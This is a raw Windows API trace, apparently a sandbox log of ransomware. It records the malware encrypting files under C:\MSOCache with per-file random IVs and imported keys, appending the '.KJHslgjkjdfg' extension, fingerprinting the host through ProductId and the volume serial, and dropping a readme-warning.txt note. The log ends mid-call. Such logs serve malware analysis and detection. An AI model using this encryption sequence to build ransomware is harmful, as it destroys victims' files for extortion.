[0154.878] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.878] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xd4200, lpOverlapped=0x0) returned 1 [0154.888] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd4200, dwBufLen=0xd4200 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd4200) returned 1 [0154.900] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.900] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xd4200, lpOverlapped=0x0) returned 1 [0154.903] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0154.904] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd42d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.904] SetEndOfFile (hFile=0x124) returned 1 [0154.907] GetProcessHeap () returned 0x990000 [0154.907] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0154.907] GetProcessHeap () returned 0x990000 [0154.907] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0154.907] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.kjhslgjkjdfg")) returned 1 [0154.908] CloseHandle (hObject=0x124) returned 1 [0154.921] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0154.921] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0154.922] GetProcessHeap () returned 0x990000 [0154.922] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0154.922] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0154.922] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0154.922] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x5, lpOverlapped=0x0) returned 1 [0154.924] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0154.925] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.925] GetProcessHeap () returned 0x990000 [0154.925] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0154.925] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0154.925] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0154.925] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0154.925] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0154.925] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0154.925] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0154.925] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0154.925] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0154.925] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0154.926] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.926] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.926] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x32b, lpOverlapped=0x0) returned 1 [0154.926] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x330, dwBufLen=0x330 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x330) returned 1 [0154.926] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.926] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x330, lpOverlapped=0x0) returned 1 [0154.926] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0154.926] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.926] SetEndOfFile (hFile=0x124) returned 1 [0154.929] GetProcessHeap () returned 0x990000 [0154.929] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0154.929] GetProcessHeap () returned 0x990000 [0154.929] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0154.929] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.kjhslgjkjdfg")) returned 1 [0154.948] CloseHandle (hObject=0x124) returned 1 [0154.948] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0154.948] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0154.949] GetProcessHeap () returned 0x990000 [0154.949] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0154.949] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0154.949] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0154.949] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0154.954] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0154.954] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.954] GetProcessHeap () returned 0x990000 [0154.954] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0154.954] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0154.954] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0154.955] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0154.955] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0154.955] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0154.955] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0154.955] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0154.955] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0154.955] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0154.955] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0154.955] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.955] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x16fc, lpOverlapped=0x0) returned 1 [0154.957] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x1700, dwBufLen=0x1700 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x1700) returned 1 [0154.957] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.957] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x1700, lpOverlapped=0x0) returned 1 [0154.957] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0154.957] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.957] SetEndOfFile (hFile=0x124) returned 1 [0154.959] GetProcessHeap () returned 0x990000 [0154.959] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0154.959] GetProcessHeap () returned 0x990000 [0154.959] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0154.959] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0154.960] CloseHandle (hObject=0x124) returned 1 [0154.960] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0154.960] GetProcessHeap () returned 0x990000 [0154.960] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0154.960] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0154.960] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0154.960] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0154.961] GetProcessHeap () returned 0x990000 [0154.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0154.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0154.961] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0154.961] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0154.961] GetProcessHeap () returned 0x990000 [0154.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0154.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0154.961] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0154.961] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0154.961] GetProcessHeap () returned 0x990000 [0154.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0154.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0154.961] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0154.961] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0154.961] GetProcessHeap () returned 0x990000 [0154.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0154.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0154.961] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0154.961] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0154.962] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0154.962] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0154.962] RegCloseKey (hKey=0x124) returned 0x0 [0154.962] GetProcessHeap () returned 0x990000 [0154.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0154.962] GetProcessHeap () returned 0x990000 [0154.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0154.962] GetProcessHeap () returned 0x990000 [0154.962] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0154.962] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0154.962] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0154.962] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0154.962] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0154.962] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0154.963] GetProcessHeap () returned 0x990000 [0154.963] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0154.963] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0154.963] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0154.963] GetProcessHeap () returned 0x990000 [0154.963] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0154.963] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0154.963] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0154.967] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0154.968] CloseHandle (hObject=0x124) returned 1 [0154.968] GetProcessHeap () returned 0x990000 [0154.968] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0154.968] GetProcessHeap () returned 0x990000 [0154.968] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0154.968] GetProcessHeap () returned 0x990000 [0154.968] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0154.968] GetProcessHeap () returned 0x990000 [0154.968] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0154.968] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0154.968] GetProcessHeap () returned 0x990000 [0154.969] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0154.969] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0154.969] GetProcessHeap () returned 0x990000 [0154.969] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0154.969] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0155.022] GetProcessHeap () returned 0x990000 [0155.022] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0155.022] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0155.022] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0155.022] GetProcessHeap () returned 0x990000 [0155.022] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0155.022] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.025] GetProcessHeap () returned 0x990000 [0155.025] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.026] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.026] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0155.026] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.026] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, 